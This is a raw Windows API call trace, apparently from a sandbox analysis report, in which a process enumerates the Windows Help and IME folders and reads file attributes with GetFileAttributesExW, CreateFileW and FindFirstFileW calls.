	[0086.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\winmeetb.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\winmeetb.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690968 | out: lpFileInformation=0x12690968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac16)) returned 1
	[0086.827] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\wnewue.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\wnewue.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126909b8 | out: lpFileInformation=0x126909b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16bc9)) returned 1
	[0086.827] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\wu.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\wu.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690a08 | out: lpFileInformation=0x12690a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x351fe)) returned 1
	[0086.827] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui" (normalized: "c:\\windows\\help\\mui"), fInfoLevelId=0x0, lpFileInformation=0x12690a58 | out: lpFileInformation=0x12690a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa1a9944a, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x368d9333, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.828] CreateFileW (lpFileName="C:\\Windows\\Help\\mui" (normalized: "c:\\windows\\help\\mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.828] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\mui\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa1a9944a, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x368d9333, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.828] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.828] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409" (normalized: "c:\\windows\\help\\mui\\0409"), fInfoLevelId=0x0, lpFileInformation=0x12690af8 | out: lpFileInformation=0x12690af8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.828] CreateFileW (lpFileName="C:\\Windows\\Help\\mui\\0409" (normalized: "c:\\windows\\help\\mui\\0409"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.828] FindFirstFileW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.831] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.832] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\WindowsPowerShellHelp.chm" (normalized: "c:\\windows\\help\\mui\\0409\\windowspowershellhelp.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691ae8 | out: lpFileInformation=0x12691ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1be7d5)) returned 1
	[0086.833] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\aclui.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\aclui.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691b38 | out: lpFileInformation=0x12691b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c68)) returned 1
	[0086.833] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\applocker_help.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\applocker_help.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691b88 | out: lpFileInformation=0x12691b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb75e)) returned 1
	[0086.834] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\authfw.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\authfw.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691bd8 | out: lpFileInformation=0x12691bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5ad70)) returned 1
	[0086.834] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\authm.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\authm.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691c28 | out: lpFileInformation=0x12691c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8ed)) returned 1
	[0086.834] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\certmgr.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\certmgr.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691c78 | out: lpFileInformation=0x12691c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x25d88)) returned 1
	[0086.834] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\cliconf.chm" (normalized: "c:\\windows\\help\\mui\\0409\\cliconf.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691cc8 | out: lpFileInformation=0x12691cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x996e909, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ad91b65, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x996e909, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ea3d)) returned 1
	[0086.835] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\cmak_ops.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\cmak_ops.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691d18 | out: lpFileInformation=0x12691d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x121ea)) returned 1
	[0086.835] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\comexp.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\comexp.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691d68 | out: lpFileInformation=0x12691d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x176ee)) returned 1
	[0086.835] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\connmgr.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\connmgr.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691db8 | out: lpFileInformation=0x12691db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e0a6)) returned 1
	[0086.835] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\devmgr.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\devmgr.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691e08 | out: lpFileInformation=0x12691e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3daf1)) returned 1
	[0086.836] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\diskmgt.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\diskmgt.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691e58 | out: lpFileInformation=0x12691e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x137a9)) returned 1
	[0086.836] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\eventviewer.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\eventviewer.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691ea8 | out: lpFileInformation=0x12691ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x124d3)) returned 1
	[0086.836] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\file_srv.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\file_srv.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691ef8 | out: lpFileInformation=0x12691ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x91a1)) returned 1
	[0086.837] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\gpedit.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\gpedit.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691f48 | out: lpFileInformation=0x12691f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xada9)) returned 1
	[0086.837] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\ieakmmc.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\ieakmmc.chm"), fInfoLevelId=0x0, lpFileInformation=0x12691f98 | out: lpFileInformation=0x12691f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd271)) returned 1
	[0086.837] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\iismmc.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\iismmc.chm"), fInfoLevelId=0x0, lpFileInformation=0x123ec008 | out: lpFileInformation=0x123ec008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x22246)) returned 1
	[0086.838] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\inetsrvmmc.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\inetsrvmmc.chm"), fInfoLevelId=0x0, lpFileInformation=0x123ec058 | out: lpFileInformation=0x123ec058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x81080)) returned 1
	[0086.838] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\ipsecmonitor.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\ipsecmonitor.chm"), fInfoLevelId=0x0, lpFileInformation=0x123ec0a8 | out: lpFileInformation=0x123ec0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x944a)) returned 1
	[0086.838] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\ipsecpolicy.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\ipsecpolicy.chm"), fInfoLevelId=0x0, lpFileInformation=0x123ec0f8 | out: lpFileInformation=0x123ec0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120aae7c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120aae7c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xde70)) returned 1
	[0086.838] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\iscsi_init.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\iscsi_init.chm"), fInfoLevelId=0x0, lpFileInformation=0x123ec148 | out: lpFileInformation=0x123ec148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x74da)) returned 1
	[0086.841] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\lug.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\lug.chm"), fInfoLevelId=0x0, lpFileInformation=0x123ec198 | out: lpFileInformation=0x123ec198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1195c913, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1195c913, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xf404)) returned 1
	[0086.841] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\mmc.CHM" (normalized: "c:\\windows\\help\\mui\\0409\\mmc.chm"), fInfoLevelId=0x0, lpFileInformation=0x123ec1e8 | out: lpFileInformation=0x123ec1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120d1135, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120d1135, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd430)) returned 1
	[0086.852] CreateFileW (lpFileName="C:\\Windows\\IME" (normalized: "c:\\windows\\ime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.852] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\*", lpFindFileData=0x124e79e0 | out: lpFindFileData=0x124e79e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.853] CreateFileW (lpFileName="C:\\Windows\\IME\\IMEJP10" (normalized: "c:\\windows\\ime\\imejp10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.853] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMEJP10\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe46bca2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe46bca2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.854] CreateFileW (lpFileName="C:\\Windows\\IME\\IMEJP10\\DICTS" (normalized: "c:\\windows\\ime\\imejp10\\dicts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.854] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMEJP10\\DICTS\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe92e7e2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe92e7e2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.859] CreateFileW (lpFileName="C:\\Windows\\IME\\IMEJP10\\help" (normalized: "c:\\windows\\ime\\imejp10\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.859] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMEJP10\\help\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe95493c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe95493c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.864] CreateFileW (lpFileName="C:\\Windows\\IME\\IMESC5" (normalized: "c:\\windows\\ime\\imesc5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.864] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMESC5\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe4b7f56, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe4b7f56, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.864] CreateFileW (lpFileName="C:\\Windows\\IME\\IMESC5\\DICTS" (normalized: "c:\\windows\\ime\\imesc5\\dicts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.864] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMESC5\\DICTS\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4b7f56, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9ecea4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9ecea4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.874] CreateFileW (lpFileName="C:\\Windows\\IME\\IMESC5\\HELP" (normalized: "c:\\windows\\ime\\imesc5\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.874] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMESC5\\HELP\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4b7f56, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe97aa96, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe97aa96, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.875] CreateFileW (lpFileName="C:\\Windows\\IME\\IMETC10" (normalized: "c:\\windows\\ime\\imetc10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.875] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMETC10\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4de0b0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe50420a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe50420a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.876] CreateFileW (lpFileName="C:\\Windows\\IME\\IMETC10\\DICTS" (normalized: "c:\\windows\\ime\\imetc10\\dicts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
